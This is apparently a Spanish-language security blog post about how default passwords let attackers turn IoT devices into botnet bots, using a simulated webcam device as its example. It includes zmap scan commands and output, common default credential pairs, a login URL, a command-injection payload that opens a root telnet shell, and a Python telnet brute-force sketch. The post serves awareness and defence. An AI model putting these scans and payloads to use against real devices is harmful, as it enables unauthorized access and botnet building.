Born To Be Bot: Contraseñas por default en dispositivos conectados a Internet.
Ser o no ser un bot mas.. eh ahí la cuestión.
Introducción.
Las malas costumbres de dejar las contraseñas que vienen por default en un dispositivo, servidor o software de administración , han sido por mucho una parte muy importante de los más grandes ataques en los últimos años, cabe recordar el ataque a DYN, la cual sufrió uno de los ataques más grandes mediante dispositivos conectados a internet de la cosas, tpx elaboro un articulo el cual te recomendamos leer: IoT: La herramienta de ataques distribuidos mas grande conocida.
En este articulo veremos con un ejemplo simulado de cómo se obtendría acceso y control de un porcentaje de dispositivo IoT en base a contraseñas por default.
Métodos de autenticación.
Los métodos de autenticación son el principal vector para obtener acceso a un dispositivo conectado a internet, por lo general estos se basan en dos variables $usuario
y $contraseña
, pocos dispositivos utilizan una verificación en dos pasos el cual no esta lejos de ser vulnerable.
Los dispositivos de alguna manera tienen que comunicarse ya sea por hooks, sockets, json etc. La mayoría de los ataques tienen cómo fin obtener el control de estos dispositivos e instalar el archivo huésped de alguna u otra forma en su sistema operativo o software nativo, para que este sea manipulado desde un centro de control que permitirá ejecutar comandos, [C&C (command-and-control)], los dispositivos conectados a internet van desde: juguetes para niños,, focos inteligentes, puertas inteligentes, televisiones inteligentes, entre otros electrodomésticos… Sin olvidar la parte industrial y dispositivos médicos e infraestructura publica entre otros, todos estos tienen una forma de autenticarse y de transmitir información.
¿Pero donde reside el problema?, la falta de concientización y el uso de contraseñas por default cómo las típicas: admin:admin
, root:password
, 123456:123456
, root:changeme
(si.. también Oracle lleva vela en este entierro), han llevado a los atacantes a crear herramientas de automatización que permiten detectar estos dispositivos con contraseñas “comunes o por default” y hacerlas un bot más en la Red.
De los métodos más comunes que podemos encontrar en este gran ecosistema de tecnología “emergente” son los siguientes:
- Formularios – WebApp.
- Telnet (es enserio !)
- ssh
- sftp / ftp
Por lo que entendemos que los vectores de ataques son conocidos y más aún si esta usa “contraseñas por default o contraseñas simples”.
Seek & B0t1ng
La pregunta del millón, ¿Cómo los atacantes detectan dispositivos conectados a internet?, no es tan complicado más bien se trata de saber cómo funcionan las cosas o en su defecto cómo se comunican en la Internet.
Vamos a tomar un ejemplo, para esto vamos a “exagerar” un poquito:
Tomando en cuenta que un dispositivo que es usado por más de 100,000 personas, con las siguientes características: “PlantaSuperIoT que toma fotos cada 5 segundos de una planta”, contiene una cámara “térmica y novedosa con Linux CAM3000MX” y este es administrado mediante un “panel de control PlantaWebCam” que solo te permite ver y navegar en las fotos que se han almacenado, desde tu celular, fácil de instalar!! ingresas al panel con adminwebcam:adminwebcam y no olvides cambiar la contraseña !” (suena cómo publicidad losé)
Podemos observar las siguientes características.
- El dispositivo tiene una cámara
- Contiene un sistema embebido “Linux“
- Tiene un panel de Control.
- Tiene una marca o un tag “CAM3000MX – PlantaWebCam“.
De esas 100,000 personas un porcentaje (40%) ha cambiado la contraseña por default y el otro no (60%). Por lo que tenemos 60,000 dispositivos con una contraseña por default que puede que no solo sea el panel de control.
Todos estos dispositivos tienen un método de identificación cuando este se conecta a Internet, es decir cómo los humanos tenemos un ID, estos dispositivos también la tienen y comúnmente son IPv4.
Seek
Existen una variedad de herramientas que nos permiten escanear “La Internet”, estas herramientas pueden ser utilizadas y complementadas con otras, de esta forma la mayoría de los atacantes las usan, creando una hermosa combinación.
Uno de los proyectos que más me ha llamado la atención es zmap, esta herramienta es el core de FTT, nuestra herramienta para escaneo de dispositivos conectados a internet, siendo zmap open source se puede aplicar infinidades de plugins para mejorar el resultado de estas búsquedas sistema.
La búsqueda se puede realizar mediante rangos CIDR (Classless Inter-Domain Routing) o simplemente dejar a zmap que escanee todo el internet, durante esta búsqueda es necesario detectar los dispositivos conectados a internet que tienen el puerto de telnet abierto, y un servidor web, estos contienen un IP y son públicos (conectados a internet pues..) .
FuckIoT@lab ~$ zmap -p 80 -o TODOhttp.txt 196.0.0.0/8 192.168.0.0/16 0% (1h51m left); send: 28777 562 Kp/s (560 Kp/s avg); recv: 1192 248 p/s (231 p/s avg); hits: 0.04% 0% (1h51m left); send: 34320 554 Kp/s (559 Kp/s avg); recv: 1442 249 p/s (234 p/s avg); hits: 0.04% 0% (1h50m left); send: 39676 535 Kp/s (555 Kp/s avg); recv: 1663 220 p/s (232 p/s avg); hits: 0.04% 0% (1h50m left); send: 45372 570 Kp/s (557 Kp/s avg); recv: 1890 226 p/s (232 p/s avg); hits: 0.04% ... .. FuckIoT@lab ~$ cat TODOhttp.txt 123.xxx.xxx.xxx 1.xxx.xxx.xxx 12.xxx.xxx.xxx 123.xxx.xxx.xxx .. .. . FuckIoT@lab ~$ zmap -p 23 -o TODOtelnet.txt 196.0.0.0/8 192.168.0.0/16 0% (1h51m left); send: 28777 562 Kp/s (560 Kp/s avg); recv: 1192 248 p/s (231 p/s avg); hits: 0.04% 0% (1h51m left); send: 34320 554 Kp/s (559 Kp/s avg); recv: 1442 249 p/s (234 p/s avg); hits: 0.04% 0% (1h50m left); send: 39676 535 Kp/s (555 Kp/s avg); recv: 1663 220 p/s (232 p/s avg); hits: 0.04% 0% (1h50m left); send: 45372 570 Kp/s (557 Kp/s avg); recv: 1890 226 p/s (232 p/s avg); hits: 0.04% ... .. FuckIoT@lab ~$ cat TODOtelnet.txt 123.xxx.xxx.xxx 1.xxx.xxx.xxx 12.xxx.xxx.xxx 123.xxx.xxx.xxx .. .. .
Esta herramienta es muy poderosa también depende de la cantidad de núcleos que tenga tu sistema operativo y la banda ancha que tu ISP te otorgue, otra de las ventajas es la forma en la que guarda el output, que permiten ser implementados.
Otra herramienta y muy conocida es Shodan, la cual tiene dos interfaces para el usuario, la parte de la Web y a modo CLI, el problema aquí es que para exportar gran cantidad de resultados tiene su precio.
B0t1ng
Al tener la información de que los dispositivos tienen el puerto 23 abierto, existen múltiples validaciones para obtener acceso, desde lo más complicado hasta probar las contraseñas por default, en este caso la manera más lógica sería ir probando con la parte básica:
- BruteFoce: contraseñas por default.
- Software no actualizado – Bugs viejos.
- Software no actualizado – 0days
- etc.
La mayoría de los dispositivos contienen un panel de control es decir están sobre el puerto 80 mediante algún software para servidor web y en base a que tiene formularios este puede ser una potencial víctima con una prueba automatizada, teniendo en cuenta que este ejemplo es del dispositivo PlantaSuperIoT, y hemos analizado los vectores de autenticación por la contraseña por default, el resultado de las búsquedas o escaneos globales en los archivos .txt son de gran ayuda.
http://´$IP_resultado_TODOhttp´/login.php?usuario=adminwebcam&contraseña=adminwebcam
Este nos debe de devolver un valor positivo de la autenticación, de esta forma puede ser catalogado cómo un dispositivo vulnerable, y listado en el C&C.
Pero esto no se queda ahí, uno de los ejemplos más grandes sobre vulnerabilidades en WebCams, también en nuestro dispositivo IoT (PlantaSuperIoT), es permitir la ejecución de comandos (Remote Code Execution, Code Injection etc.), de esta forma se puede obtener control y en algunos casos hasta root:
http://´$IP_resultado_TODOhttp´/login.php?&usuario=adminwebcam&contraseña=adminwebcam&variableCE=$(telnetd -p 1337 -l /bin/sh)'
En algunos dispositivos (vulnerables) pueden invocar a telnet mediante el puerto y el path /bin/sh
[g0t r00t!].
""" un loop sobre el el resultado de los IP """ telnetlib.Telnet("´$IP_resultado_TODOhttp´") ... """ prueba de conexión """ tn.read_until(b"login: ") tn.write(user.encode('ascii') + b"\n") if password: tn.read_until(b"Password: ") tn.write(password.encode('ascii') + b"\n") """ Resultados -> Lista de Bots. """ """ id - Bot01 uid=0(root) gid=0 """
Situación en México y Latam.
México esta situado en el Rango número 07 y Brasil en el lugar número 03 según el top 10 de Botnets del informe de amenazas de la empresa Symantec en el área de Botnets, liderado por China:
Durante la realización de este articulo [30 de agosto 2017], se realizo un escaneo global usando shodan y zmap, solo a los dispositivos con telnet :
Con otros datos interesantes en cuanto a s.o y software:
TOP 5 – S.O
- Linux 2.6.x
- Linux 3.x
- Windows 7 or 8
- Windows XP
- Linux 2.4.x
TOP 5 – Software
- Cisco router telnetd
- Cisco catalyst switch telnetd
- OpenSSH
- Dropbear sshd
- Microsoft ftpd
El estatus en México es el siguiente:
Conclusión
Una vez obteniendo accesos, la instalación de los binarios para lograr el control total y la comunicación es lo de menos, basta con usar un wget
para descargar, una serie de binarios e infectar el sistema embebido.
El método de autenticación es un factor importante, para prevenir este tipo de vectores de ataque es necesaria una concientización en el factor de autenticación por default en los dispositivos conectados a internet, así cómo tener la buena costumbre de cambiarlas al obtener uno, cabe recordar que este vector puede ser utilizado en:
- Infraestructura Publica
- Automóviles
- Electrodomésticos.
- Sistemas Industriales.
- Dispositivos Médicos.
Estos causarían un gran impacto si son manipulados ilegalmente, ya que algunos de estos dispositivos no solo ocasionarían perdidas económicas su mal funcionamiento, si no hasta vidas.
Referencias:
https://www.symantec.com/content/dam/symantec/docs/reports/gistr22-government-report.pdf
https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-antonakakis.pdf
https://www.owasp.org/images/8/8e/Infographic-v1.jpg
https://www.owasp.org/images/5/51/RSAC2015-OWASP-IoT-Miessler.pdf